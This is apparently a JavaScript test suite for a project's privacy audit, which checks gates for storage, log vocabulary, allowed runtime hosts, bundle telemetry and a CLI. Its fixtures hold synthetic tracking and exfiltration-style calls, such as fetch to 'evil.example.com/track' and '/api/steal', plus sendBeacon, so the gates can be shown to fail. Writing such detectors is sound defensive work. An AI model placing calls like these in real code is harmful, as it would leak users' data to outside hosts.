#!/usr/bin/env node /* * privacy-audit.test.mjs — the TDD suite for the consolidated privacy audit * (07-03, D-01/D-02). Named vectors in the repo's gate-suite style. * --------------------------------------------------------------------------- * A MAINTAINER-TIME REPO TOOL — NOT a runtime dependency; nothing in any src * tree imports it. GPL-3.0: forks rerun it before their first driver. * * What the vectors pin: * * SA* the source-gates library — each gate returns { id, pass, evidence }, * PASSES on the current tree, and FAILS on a synthetic violation * (injected fixture roots — a gate that cannot fail is decoration) * BG* the bundle-gates library — production `web/dist` only, the * positive host allowlist, the analytics/beacon token set, and the * never-a-silent-pass missing-dist branch * CP* the live probes — probeUnavailable's exact shape and the * credentials-absent degradation (exit-2 class, never a pass) * AU* the CLI — per-gate evidence lines, PRIVACY AUDIT CLEAN on this * tree (exit 0), and `--live` without credentials → exit 2 with * PRIVACY AUDIT NOT RUN * * Hand-rolled runner (the bot/web harness precedent — zero dependencies): * every test is async, failures are collected, and the process exits 1 when * any vector fails. */ import { strict as assert } from "node:assert"; import { spawnSync } from "node:child_process"; import { mkdtempSync, mkdirSync, rmSync, writeFileSync, existsSync } from "node:fs"; import { tmpdir } from "node:os"; import path from "node:path"; import { fileURLToPath } from "node:url"; const HERE = path.dirname(fileURLToPath(import.meta.url)); const ROOT = path.resolve(HERE, "..", ".."); /* ————— minimal harness (the hand-rolled runner convention) ————— */ const failures = []; let ran = 0; async function test(name, fn) { ran += 1; try { await fn(); console.log(`ok — ${name}`); } catch (err) { failures.push({ name, err }); console.log(`FAIL — ${name}\n ${err?.message ?? err}`); } } /* ————— fixture helper: a synthetic source root the gates scan via opts ————— */ function makeFixtureRoot(name, files) { const dir = mkdtempSync(path.join(tmpdir(), "privacy-audit-")); for (const [rel, body] of Object.entries(files)) { const full = path.join(dir, rel); mkdirSync(path.dirname(full), { recursive: true }); writeFileSync(full, body); } return { name, dir, cleanup: () => rmSync(dir, { recursive: true, force: true }) }; } /* ————— SA — the source-gates library ————— */ const sourceGatesUrl = path.join(ROOT, "scripts", "lib", "source-gates.mjs"); await test("SA1 source-gates exports the four gates; each PASSES on the current tree with its contract id", async () => { assert.ok(existsSync(sourceGatesUrl), "scripts/lib/source-gates.mjs must exist"); const m = await import(sourceGatesUrl); const expected = { runStorageGate: "storage-api", runKvTtlGate: "kv-ttl", runLogVocabularyGate: "log-vocabulary", runRuntimeHostGate: "runtime-hosts", }; for (const [fn, id] of Object.entries(expected)) { assert.equal(typeof m[fn], "function", `${fn} must be exported`); const r = await m[fn](); assert.equal(r.id, id, `${fn} reports id ${id}`); assert.equal(r.pass, true, `${fn} must PASS on the current tree — ${r.evidence}`); assert.equal(typeof r.evidence, "string", "evidence must be a string"); } }); await test("SA2 storage-api gate FAILS on a synthetic persistence token and names the violation", async () => { const m = await import(sourceGatesUrl); const fx = makeFixtureRoot("fx-src", { "clean.ts": "export const x = 1;\n", "dirty.ts": "const t = localStorage.getItem('k');\n", }); try { const r = await m.runStorageGate({ roots: [{ name: "fx-src", dir: fx.dir }] }); assert.equal(r.pass, false, "a localStorage call must fail the storage gate"); assert.match(r.evidence, /dirty\.ts/, "evidence must name the violating file"); assert.match(r.evidence, /localStorage/, "evidence must name the banned token"); } finally { fx.cleanup(); } }); await test("SA3 kv-ttl gate FAILS on a TTL-free .put( and on an inline-literal TTL; passes named constants", async () => { const m = await import(sourceGatesUrl); const fx = makeFixtureRoot("fx-src", { "good.ts": "await kv.put('k', v, { expirationTtl: SESSION_TTL_SECONDS });\n", "no-ttl.ts": "await kv.put('k', v);\n", "inline-ttl.ts": "await kv.put('k', v, { expirationTtl: 900 });\n", }); try { const r = await m.runKvTtlGate({ roots: [{ name: "fx-src", dir: fx.dir }] }); assert.equal(r.pass, false, "TTL-free / inline-literal writes must fail the gate"); assert.match(r.evidence, /no-ttl\.ts/, "evidence must name the TTL-free file"); assert.match(r.evidence, /inline-ttl\.ts/, "evidence must name the inline-literal file"); assert.ok(!/good\.ts/.test(r.evidence), "the named-constant write must NOT be a violation"); } finally { fx.cleanup(); } }); await test("SA4 log-vocabulary gate FAILS on an unshaped log, a carrier word, and a serialized payload", async () => { const m = await import(sourceGatesUrl); const fx = makeFixtureRoot("fx-src", { "bot/ok.ts": "console.log('[location] rejected: unauthorized');\n", "bot/no-shape.ts": "console.log('rejecting request');\n", "bot/carrier.ts": "console.log('[location] rejected: unauthorized', chat_id);\n", "bot/payload.ts": "console.log('[guidance] minted', JSON.stringify(envelope));\n", "web/ok.ts": "console.log('ARAHARAH-ROUTE state=drawn');\n", "web/bad.ts": "console.log('route drawn for user');\n", }); try { const r = await m.runLogVocabularyGate({ botRoot: path.join(fx.dir, "bot"), webRoot: path.join(fx.dir, "web") }); assert.equal(r.pass, false); assert.match(r.evidence, /no-shape\.ts/, "an unshaped bot log must fail"); assert.match(r.evidence, /carrier\.ts/, "a chat_id carrier must fail"); assert.match(r.evidence, /payload\.ts/, "a serialized payload must fail"); assert.match(r.evidence, /bad\.ts/, "a web log outside the state-token vocabulary must fail"); assert.ok(!/ok\.ts/.test(r.evidence), "the lawful category/state-token logs must NOT be violations"); } finally { fx.cleanup(); } }); await test("SA5 runtime-hosts gate FAILS on an unapproved absolute URL and on a non-relative fetch target", async () => { const m = await import(sourceGatesUrl); const fx = makeFixtureRoot("fx-src", { "a.ts": "export const u = 'https://evil.example.com/track';\n", "b.ts": "fetch('https://evil.example.com/track');\n", "c.ts": "const r = await fetch('/api/guidance?id=1');\n", "d.html": "\n", }); try { const r = await m.runRuntimeHostGate({ roots: [{ name: "fx-src", dir: fx.dir }] }); assert.equal(r.pass, false, "an unapproved host must fail the positive allowlist"); assert.match(r.evidence, /a\.ts/, "evidence must name the absolute-URL violation"); assert.match(r.evidence, /b\.ts/, "evidence must name the non-relative fetch"); assert.ok(!/c\.ts/.test(r.evidence), "a relative fetch target must NOT be a violation"); assert.ok(!/d\.html/.test(r.evidence), "the allowlisted telegram.org script must NOT be a violation"); assert.match(r.evidence, /evil\.example\.com/, "the host inventory must be printed, not assumed (A4)"); } finally { fx.cleanup(); } }); await test("SA6 the doc-pointer static-text class is NARROW — URL literals to the published-repo host pass, fetch targets to it still fail", async () => { const m = await import(sourceGatesUrl); const fx = makeFixtureRoot("fx-src", { // the /help Known-limits doc pointer shape (bot/src/i18n/strings.ts) — // user-facing copy, never fetched at runtime (D-08/D-09) "docs-pointer.ts": "export const limits = 'http://gitmirah:3000/c-fu/arah2/src/branch/main/docs/KNOWN-LIMITATIONS.md';\n", // any OTHER host in a URL literal is still a violation (prefer-fail) "other-host.ts": "export const u = 'https://evil.example.com/track';\n", // the class does NOT extend to fetch targets — a fetch to the same host fails "fetch-pointer.ts": "fetch('http://gitmirah:3000/api/steal');\n", }); try { const r = await m.runRuntimeHostGate({ roots: [{ name: "fx-src", dir: fx.dir }] }); assert.equal(r.pass, false, "the fetch target to the doc-pointer host must still fail"); assert.ok(!/docs-pointer\.ts/.test(r.evidence), "the doc-pointer URL literal must NOT be a violation"); assert.match(r.evidence, /fetch-pointer\.ts/, "a fetch target naming the doc-pointer host must fail — the class is URL literals only"); assert.match(r.evidence, /other-host\.ts/, "an unapproved URL literal still fails"); } finally { fx.cleanup(); } }); /* ————— BG — the bundle-gates library ————— */ const bundleGatesUrl = path.join(ROOT, "scripts", "lib", "bundle-gates.mjs"); await test("BG1 bundle-telemetry gate PASSES on the production web/dist build and prints the host inventory", async () => { const m = await import(bundleGatesUrl); assert.equal(typeof m.runBundleTelemetryGate, "function", "runBundleTelemetryGate must be exported"); const r = await m.runBundleTelemetryGate(); assert.equal(r.id, "bundle-telemetry", "the gate reports its contract id"); if (existsSync(path.join(ROOT, "web", "dist"))) { assert.equal(r.pass, true, `the production bundle must pass — ${r.evidence}`); assert.match(r.evidence, /tiles\.openfreemap\.org/, "the host inventory must be printed, not assumed (A4)"); } else { assert.equal(r.pass, false, "a missing build is never a silent pass"); assert.equal(r.notRun, true, "a missing build is environment drift (exit-2 class)"); assert.match(r.evidence, /web\/dist does not exist/, "the build-first message must be printed"); } }); await test("BG2 bundle-telemetry gate FAILS on a synthetic dist carrying an analytics token or an unapproved host", async () => { const m = await import(bundleGatesUrl); const fx = mkdtempSync(path.join(tmpdir(), "privacy-audit-dist-")); try { mkdirSync(path.join(fx, "assets"), { recursive: true }); writeFileSync(path.join(fx, "assets", "app.js"), "fetch('https://evil.example.com/collect');\n"); const r1 = await m.runBundleTelemetryGate({ dist: fx }); assert.equal(r1.pass, false, "an unapproved fetch host must fail the bundle gate"); assert.match(r1.evidence, /evil\.example\.com/, "evidence must name the unapproved host"); writeFileSync(path.join(fx, "assets", "app.js"), "navigator.sendBeacon('https://x', b);\n"); const r2 = await m.runBundleTelemetryGate({ dist: fx }); assert.equal(r2.pass, false, "a sendBeacon must fail the bundle gate"); assert.match(r2.evidence, /sendBeacon/, "evidence must name the beacon token"); writeFileSync(path.join(fx, "assets", "app.js"), "localStorage.setItem('k','v');\n"); const r3 = await m.runBundleTelemetryGate({ dist: fx }); assert.equal(r3.pass, false, "a storage token in the shipped bundle must fail"); assert.match(r3.evidence, /localStorage/, "evidence must name the storage token"); } finally { rmSync(fx, { recursive: true, force: true }); } }); /* ————— CP — the live probes ————— */ const probesUrl = path.join(ROOT, "scripts", "lib", "cloudflare-probes.mjs"); await test("CP1 probeUnavailable returns the exact never-a-pass shape", async () => { const m = await import(probesUrl); assert.equal(typeof m.probeUnavailable, "function", "probeUnavailable must be exported"); const r = m.probeUnavailable("missing Cloudflare credentials"); assert.equal(r.pass, false, "a skipped probe is pass:false"); assert.equal(r.notRun, true, "a skipped probe carries notRun:true"); assert.equal(typeof r.evidence, "string", "the reason is carried as evidence"); }); await test("CP2 both live probes degrade to notRun (never throw) without Cloudflare credentials", async () => { const m = await import(probesUrl); assert.equal(typeof m.runKvExpiryProbe, "function", "runKvExpiryProbe must be exported"); assert.equal(typeof m.runAssetHeaderProbe, "function", "runAssetHeaderProbe must be exported"); const strippedEnv = { ...process.env }; delete strippedEnv.CLOUDFLARE_API_TOKEN; delete strippedEnv.CLOUDFLARE_ACCOUNT_ID; const saved = process.env; process.env = strippedEnv; try { const kv = await m.runKvExpiryProbe(); assert.equal(kv.pass, false, "kv-expiry without credentials is pass:false"); assert.equal(kv.notRun, true, "kv-expiry without credentials carries notRun:true"); // asset-headers' unavailable driver is the ORIGIN (not CF creds) — the // empty baseUrl forces the no-origin branch with NO network call. const headers = await m.runAssetHeaderProbe({ baseUrl: "" }); assert.equal(headers.pass, false, "asset-headers without an origin is pass:false"); assert.equal(headers.notRun, true, "asset-headers without an origin carries notRun:true"); } finally { process.env = saved; } }); /* ————— AU — the CLI ————— */ const cliUrl = path.join(ROOT, "scripts", "privacy-audit.mjs"); const NODE = process.execPath; await test("AU1 the CLI prints per-gate evidence and exits 0 with PRIVACY AUDIT CLEAN on this tree", () => { const res = spawnSync(NODE, [cliUrl], { cwd: ROOT, encoding: "utf8" }); assert.equal(res.status, 0, `expected exit 0 — stdout:\n${res.stdout}\nstderr:\n${res.stderr}`); for (const gate of ["storage-api", "kv-ttl", "log-vocabulary", "runtime-hosts", "bundle-telemetry"]) { assert.match(res.stdout, new RegExp(`^${gate}: PASS —`, "m"), `per-gate evidence line for ${gate}`); } assert.match(res.stdout, /^kv-expiry: NOT RUN — \(pass --live\)$/m, "a skipped live probe is never silently green"); assert.match(res.stdout, /PRIVACY AUDIT CLEAN/, "the clean summary line"); }); await test("AU2 the CLI exits 1 (violations class) when a gate fails — via the PRIVACY_AUDIT_ROOT override", async () => { // The exit-1 path is exercised without dirtying the real tree: the gates // are cwd-INDEPENDENT (a stray subdirectory run must not false-pass), so a // fixture root is pointed at through the documented PRIVACY_AUDIT_ROOT // override (also how a fork audits a checkout elsewhere). const fx = mkdtempSync(path.join(tmpdir(), "privacy-audit-root-")); try { mkdirSync(path.join(fx, "web", "src"), { recursive: true }); writeFileSync(path.join(fx, "web", "src", "dirty.ts"), "localStorage.getItem('k');\n"); const res = spawnSync(NODE, [cliUrl], { cwd: ROOT, encoding: "utf8", env: { ...process.env, PRIVACY_AUDIT_ROOT: fx }, }); assert.equal(res.status, 1, "violations must exit 1"); assert.match(res.stdout, /storage-api: FAIL/, "the failing gate is named"); assert.match(res.stdout, /PRIVACY AUDIT FAILED/, "the failed summary line"); } finally { rmSync(fx, { recursive: true, force: true }); } }); await test("AU3 `--live` without Cloudflare credentials exits 2 with PRIVACY AUDIT NOT RUN (never a pass)", () => { const env = { ...process.env }; delete env.CLOUDFLARE_API_TOKEN; delete env.CLOUDFLARE_ACCOUNT_ID; const res = spawnSync(NODE, [cliUrl, "--live"], { cwd: ROOT, encoding: "utf8", env }); assert.equal(res.status, 2, `expected exit 2 — stdout:\n${res.stdout}`); assert.match(res.stdout, /PRIVACY AUDIT NOT RUN/, "the not-run summary line"); assert.match(res.stdout, /kv-expiry: NOT RUN/, "the live probe is reported NOT RUN, not PASS"); }); /* ————— tally ————— */ if (failures.length > 0) { console.error(`\n${failures.length}/${ran} vector(s) FAILED:`); for (const f of failures) console.error(` - ${f.name}: ${f.err?.message ?? f.err}`); process.exit(1); } console.log(`\nPRIVACY-AUDIT TEST CLEAN — ${ran} vector(s) passed`);